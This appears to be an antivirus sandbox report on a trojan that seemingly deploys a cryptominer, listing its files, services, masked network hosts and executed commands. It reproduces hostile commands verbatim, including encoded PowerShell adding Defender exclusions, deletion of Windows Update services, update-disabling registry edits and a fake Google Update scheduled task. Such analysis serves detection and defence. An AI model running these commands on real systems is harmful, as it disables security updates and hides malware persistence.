Trojan.Siggen17.60416

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\googleupdatetaskmachineqc

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '<SYSTEM32>\config\systemprofile\AppData\Roaming\Google\Libs\WR64.sys'

Creates the following services

'WinRing0_1_2_0' <SYSTEM32>\config\systemprofile\AppData\Roaming\Google\Libs\WR64.sys

Malicious functions

Injects code into

the following system processes:

%WINDIR%\explorer.exe

Modifies file system

Creates the following files

%TEMP%\e653d73e45833b6c
%TEMP%\mage.exe
%ProgramFiles%\chrome\updater.exe
%WINDIR%\temp\e653d73e45833b6c
%ProgramFiles%\google\telemetry\sihost64.exe
%ProgramFiles%\google\libs\wr64.sys

Deletes the following files

%TEMP%\mage.exe

Modifies the HOSTS file.

Network activity

Connects to

'a0#####.000webhostapp.com':443
'po##.#inexmr.com':443

TCP

Other

'a0#####.000webhostapp.com':443
'po##.#inexmr.com':443

UDP

DNS ASK po##.#inexmr.com
DNS ASK a0#####.000webhostapp.com

Miscellaneous

Creates and executes the following

'%TEMP%\mage.exe'
'%ProgramFiles%\chrome\updater.exe'
'%ProgramFiles%\google\telemetry\sihost64.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGUAbgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAbgB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
'<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAHkAbgB4AGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB3AHcAeQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAG...' (with hidden window)
'<SYSTEM32>\cmd.exe' cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentCont...' (with hidden window)
'<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"%ProgramFiles%\Chrome\updater.exe^"'' (with hidden window)
'<SYSTEM32>\cmd.exe' cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"' (with hidden window)
'<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "%TEMP%\mage.exe"' (with hidden window)
'%ProgramFiles%\chrome\updater.exe' ' (with hidden window)
'%ProgramFiles%\google\telemetry\sihost64.exe' ' (with hidden window)

Executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGUAbgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAbgB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
'<SYSTEM32>\cmd.exe' cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
'<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "%TEMP%\mage.exe"
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
'<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"%ProgramFiles%\Chrome\updater.exe"'
'<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"%ProgramFiles%\Chrome\updater.exe^"'
'<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\cmd.exe' cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentCont...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHkAbgB4AGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB3AHcAeQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkA...
'<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAHkAbgB4AGQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB3AHcAeQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAG...
'<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
'%WINDIR%\explorer.exe' edxwljzrbldg0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJQlR6TwS6Qb2QQEpMLgG8MLf76L8/Yp28Lvj3lf3PCpENhPHabiLzfBD8N46+Pwsal3J3VC8LxG+Vgb6LWJKTLWiOurl69vs1JO3eRBSm23FdbF7lQ7ohyxJ2oLHmv/H241xD7kbDX...